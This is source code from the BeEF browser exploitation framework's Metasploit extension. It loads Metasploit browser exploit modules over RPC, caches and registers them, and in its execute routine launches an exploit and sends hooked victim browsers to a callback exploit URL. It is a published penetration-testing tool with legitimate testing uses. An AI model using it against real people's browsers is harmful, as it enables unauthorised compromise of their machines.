#
#   Copyright 2012 Wade Alcorn wade@bindshell.net
#
#   Licensed under the Apache License, Version 2.0 (the "License");
#   you may not use this file except in compliance with the License.
#   You may obtain a copy of the License at
#
#       http://www.apache.org/licenses/LICENSE-2.0
#
#   Unless required by applicable law or agreed to in writing, software
#   distributed under the License is distributed on an "AS IS" BASIS,
#   WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
#   See the License for the specific language governing permissions and
#   limitations under the License.
#
module BeEF
module Extension
module Metasploit
module API  

  module MetasploitHooks
    
    BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Modules, 'post_soft_load')
    
    # Load modules from metasploit just after all other module config is loaded
    def self.post_soft_load
        msf = BeEF::Extension::Metasploit::RpcClient.instance                
        if msf.login
            msf_module_config = {}
            path = BeEF::Core::Configuration.instance.get('beef.extension.metasploit.path')
            if not BeEF::Extension::Console.resetdb? and File.exists?("#{path}msf-exploits.cache")
                print_debug "Attempting to use Metasploit exploits cache file"
                raw = File.read("#{path}msf-exploits.cache")
                begin
                    msf_module_config = YAML.load(raw)
                rescue => e
                   puts e 
                end
                count = 1
                msf_module_config.each{|k,v|
                    BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [k])
                    BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [k,nil])
                    BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [k, nil, nil])
                    print_over "Loaded #{count} Metasploit exploits."
                    count += 1
                }
                print "\r\n"
            else
                msf_modules = msf.call('module.exploits')
                count = 1
                msf_modules['modules'].each{|m|
                    next if not m.include? "/browser/"
                    m_details = msf.call('module.info', 'exploit', m)
                    if m_details
                        key = 'msf_'+m.split('/').last
                        # system currently doesn't support multilevel categories
                        #categories = ['Metasploit']
                        #m.split('/')[0...-1].each{|c| 
                        #    categories.push(c.capitalize)
                        #}
                        msf_module_config[key] = {
                            'enable'=> true,
                            'msf'=> true,
                            'msf_key' => m,
                            'name'=> m_details['name'],
                            'category' => 'Metasploit',
                            'description'=> m_details['description'],
                            'authors'=> m_details['references'],
                            'path'=> path,
                            'class'=> 'Msf_module'
                        }
                        BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_options', [key])
                        BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'get_payload_options', [key,nil])
                        BeEF::API::Registrar.instance.register(BeEF::Extension::Metasploit::API::MetasploitHooks, BeEF::API::Module, 'override_execute', [key, nil, nil])
                        print_over "Loaded #{count} Metasploit exploits."
                        count += 1
                    end
                }
                print "\r\n"
                File.open("#{path}msf-exploits.cache", "w") do |f|
                    f.write(msf_module_config.to_yaml)
                    print_debug "Wrote Metasploit exploits to cache file"
                end
            end
            BeEF::Core::Configuration.instance.set('beef.module', msf_module_config)
        end
    end

    # Get module options + payloads when the beef framework requests this information
    def self.get_options(mod)
        msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key")
        msf = BeEF::Extension::Metasploit::RpcClient.instance                
        if msf_key != nil and msf.login
            msf_module_options = msf.call('module.options', 'exploit', msf_key)
	    com = BeEF::Core::Models::CommandModule.first(:name => mod )
            if msf_module_options
                options = BeEF::Extension::Metasploit.translate_options(msf_module_options)
		options << { 'name' => 'mod_id', 'id' => 'mod_id' , 'type' => 'hidden', 'value' => com.id}
                msf_payload_options = msf.call('module.compatible_payloads', msf_key)
                if msf_payload_options
                    options << BeEF::Extension::Metasploit.translate_payload(msf_payload_options)
                    return options
                else
                    print_error "Unable to retrieve metasploit payloads for exploit: #{msf_key}"
                end
            else
                print_error "Unable to retrieve metasploit options for exploit: #{msf_key}"
            end
        end
    end

    # Execute function for all metasploit exploits
    def self.override_execute(mod, hbsession, opts)
        msf = BeEF::Extension::Metasploit::RpcClient.instance
        msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key")
	msf_opts = {}

	opts.each { |opt|
		next if ['e','ie_session','and_module_id'].include? opt['name']
		msf_opts[opt["name"]] = opt["value"]
	}

        if msf_key != nil and msf.login
            # Are the options correctly formatted for msf?
            # This call has not been tested
            msf.call('module.execute', 'exploit', msf_key, msf_opts)
        end

        hb = BeEF::HBManager.get_by_session(hbsession)
        if not hb
            print_error "Could not find hooked browser when attempting to execute module '#{mod}'"
            return false
        end

        bopts = []
	uri = ""
	if msf_opts['SSL']
		uri += "https://"
	else
		uri += "http://"
	end
	config = BeEF::Core::Configuration.instance.get('beef.extension.metasploit')
        uri += config['callback_host'] + ":" + msf_opts['SRVPORT'] + "/" + msf_opts['URIPATH']


	bopts <<   { :sploit_url => uri } 
        c = BeEF::Core::Models::Command.new(:data => bopts.to_json,
            :hooked_browser_id => hb.id,
            :command_module_id => BeEF::Core::Configuration.instance.get("beef.module.#{mod}.db.id"),
            :creationdate => Time.new.to_i
          ).save

        # Still need to create command object to store a string saying "Exploit launched @ [time]", to ensure BeEF can keep track of
        # which exploits where executed against which hooked browsers
        return true
    end

    # Get module options + payloads when the beef framework requests this information
    def self.get_payload_options(mod,payload)
        msf_key = BeEF::Core::Configuration.instance.get("beef.module.#{mod}.msf_key")

        msf = BeEF::Extension::Metasploit::RpcClient.instance                
        if msf_key != nil and msf.login
            msf_module_options = msf.call('module.options', 'payload', payload)
	     
	    com = BeEF::Core::Models::CommandModule.first(:name => mod )
            if msf_module_options
                options = BeEF::Extension::Metasploit.translate_options(msf_module_options)
                return options
            else
                print_error "Unable to retrieve metasploit payload options for exploit: #{msf_key}"
            end
        end
     end
  end
end
end
end
end
